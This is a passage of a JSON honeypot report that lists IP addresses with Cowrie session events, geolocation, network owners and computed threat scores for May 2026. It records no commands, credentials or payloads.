        "last_seen_30d": "2026-05-09T08:51:41.587000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "124.146.235.63": {
      "attack_count": 2,
      "first_seen": "2026-05-21T14:55:46.047Z",
      "last_seen": "2026-05-21T14:55:59.358Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 2514,
      "as_org": "NTT PC Communications, Inc.",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:55:46.047000+00:00",
        "last_seen_30d": "2026-05-21T14:57:03.492000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.252": {
      "attack_count": 2,
      "first_seen": "2026-05-29T17:28:51.176Z",
      "last_seen": "2026-05-29T17:29:23.251Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 29,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T07:07:33.860000+00:00",
        "last_seen_30d": "2026-05-30T19:38:24.808000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 21,
        "Adbhoney": 4,
        "ConPot": 4,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "175.11.90.74": {
      "attack_count": 2,
      "first_seen": "2026-05-05T10:04:42.103Z",
      "last_seen": "2026-05-05T10:04:55.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T10:04:42.103000+00:00",
        "last_seen_30d": "2026-05-05T10:06:00.763000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.208.53.16": {
      "attack_count": 2,
      "first_seen": "2026-05-10T15:49:10.437Z",
      "last_seen": "2026-05-10T15:49:23.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nal'chik",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:49:10.437000+00:00",
        "last_seen_30d": "2026-05-10T15:50:31.757000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.127.88.197": {
      "attack_count": 2,
      "first_seen": "2026-05-11T11:31:07.528Z",
      "last_seen": "2026-05-11T11:31:21.168Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": null,
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T11:31:07.528000+00:00",
        "last_seen_30d": "2026-05-11T11:33:04.031000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.178.216.79": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:42:35.306Z",
      "last_seen": "2026-05-04T09:42:48.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:42:35.306000+00:00",
        "last_seen_30d": "2026-05-04T09:43:50.232000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.121.129.240": {
      "attack_count": 2,
      "first_seen": "2026-05-06T19:39:24.782Z",
      "last_seen": "2026-05-06T19:39:38.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 da Lapa",
      "asn": 22689,
      "as_org": "SERCOMTEL SA TELECOMUNICACOES",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T19:39:24.782000+00:00",
        "last_seen_30d": "2026-05-06T19:40:54.596000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.95.161.162": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:21:32.793Z",
      "last_seen": "2026-05-22T22:21:44.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 22085,
      "as_org": "Claro SA",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:21:32.793000+00:00",
        "last_seen_30d": "2026-05-22T22:22:52.298000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.83.114.151": {
      "attack_count": 2,
      "first_seen": "2026-05-06T09:27:52.214Z",
      "last_seen": "2026-05-06T09:28:04.727Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Presidente Franco",
      "asn": 269930,
      "as_org": "CAMPOS FARIAS GUILHERME",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T09:27:52.214000+00:00",
        "last_seen_30d": "2026-05-06T09:29:12.533000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.89.30.131": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:58:24.753Z",
      "last_seen": "2026-05-23T00:00:24.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "San Juan de los Morros",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:58:24.753000+00:00",
        "last_seen_30d": "2026-05-23T00:01:38.429000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "197.46.52.115": {
      "attack_count": 2,
      "first_seen": "2026-05-10T23:25:30.572Z",
      "last_seen": "2026-05-10T23:25:44.664Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:25:30.572000+00:00",
        "last_seen_30d": "2026-05-10T23:26:52.421000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.136.74.239": {
      "attack_count": 2,
      "first_seen": "2026-05-16T13:49:46.154Z",
      "last_seen": "2026-05-16T13:49:49.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 1251,
      "as_org": "FUNDACAO DE AMPARO A PESQUISA DO ESTADO SAO PAULO",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T13:49:46.154000+00:00",
        "last_seen_30d": "2026-05-16T13:50:54.634000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.238.35.232": {
      "attack_count": 2,
      "first_seen": "2026-05-20T12:05:17.655Z",
      "last_seen": "2026-05-20T12:05:30.392Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T12:05:17.655000+00:00",
        "last_seen_30d": "2026-05-20T12:06:35.239000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.154.16.94": {
      "attack_count": 2,
      "first_seen": "2026-05-02T21:03:55.038Z",
      "last_seen": "2026-05-02T21:04:07.996Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 28787,
      "as_org": "Aztelekom LLC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:03:55.038000+00:00",
        "last_seen_30d": "2026-05-02T21:05:16.473000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.246.40.56": {
      "attack_count": 2,
      "first_seen": "2026-05-21T08:18:29.262Z",
      "last_seen": "2026-05-21T08:19:43.681Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:18:29.262000+00:00",
        "last_seen_30d": "2026-05-21T08:20:48.836000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.20.145.179": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:30:06.469Z",
      "last_seen": "2026-05-22T23:30:19.887Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:30:06.469000+00:00",
        "last_seen_30d": "2026-05-22T23:31:24.927000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.31.108.23": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:49:55.779Z",
      "last_seen": "2026-05-23T11:50:29.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:49:55.779000+00:00",
        "last_seen_30d": "2026-05-23T11:51:38.127000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.249.41.196": {
      "attack_count": 2,
      "first_seen": "2026-05-04T19:15:46.178Z",
      "last_seen": "2026-05-04T19:15:58.236Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:15:46.178000+00:00",
        "last_seen_30d": "2026-05-04T19:17:04.686000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.176.254.248": {
      "attack_count": 2,
      "first_seen": "2026-05-14T17:03:26.840Z",
      "last_seen": "2026-05-14T17:03:39.823Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T17:03:26.840000+00:00",
        "last_seen_30d": "2026-05-14T17:04:49.920000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.142.32.36": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:37:14.922Z",
      "last_seen": "2026-05-08T08:37:28.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 48873,
      "as_org": "LLC Proxicom",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:37:14.922000+00:00",
        "last_seen_30d": "2026-05-08T08:38:29.147000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.181.84.13": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:16:50.208Z",
      "last_seen": "2026-05-03T03:17:03.851Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Honduras",
      "country_code": "HN",
      "city": "San Pedro Sula",
      "asn": 269729,
      "as_org": "GRUPO MULTICABLES DE CORTES S.R.L de C.V",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:16:50.208000+00:00",
        "last_seen_30d": "2026-05-03T03:18:09.488000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.224.142.162": {
      "attack_count": 2,
      "first_seen": "2026-05-15T14:59:21.710Z",
      "last_seen": "2026-05-15T14:59:34.020Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Salta",
      "asn": 265843,
      "as_org": "NUBICOM S.R.L.",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T14:59:21.710000+00:00",
        "last_seen_30d": "2026-05-15T15:00:41.801000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.147.78.125": {
      "attack_count": 2,
      "first_seen": "2026-05-07T21:38:17.734Z",
      "last_seen": "2026-05-07T21:38:30.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Long Beach",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:38:17.734000+00:00",
        "last_seen_30d": "2026-05-07T21:39:36.841000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.148.57.6": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:33:33.741Z",
      "last_seen": "2026-05-03T07:33:47.215Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Newbury Park",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:33:33.741000+00:00",
        "last_seen_30d": "2026-05-03T07:34:47.789000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.62.202.144": {
      "attack_count": 2,
      "first_seen": "2026-05-18T22:22:26.865Z",
      "last_seen": "2026-05-18T22:22:38.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:22:26.865000+00:00",
        "last_seen_30d": "2026-05-18T22:23:48.403000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "81.47.74.236": {
      "attack_count": 2,
      "first_seen": "2026-05-04T18:38:07.195Z",
      "last_seen": "2026-05-04T18:38:20.843Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T18:38:07.195000+00:00",
        "last_seen_30d": "2026-05-04T18:40:22.120000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.115.208.243": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:05:59.522Z",
      "last_seen": "2026-05-07T13:06:11.649Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Pecetto Torinese",
      "asn": 210218,
      "as_org": "Open Fiber S.P.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:05:59.522000+00:00",
        "last_seen_30d": "2026-05-07T13:07:12.446000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.49.101.170": {
      "attack_count": 2,
      "first_seen": "2026-05-19T10:17:28.114Z",
      "last_seen": "2026-05-19T10:18:06.148Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Moers",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T10:17:28.114000+00:00",
        "last_seen_30d": "2026-05-19T10:19:14.130000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "92.118.182.66": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:20:53.105Z",
      "last_seen": "2026-05-03T21:21:05.799Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 274062,
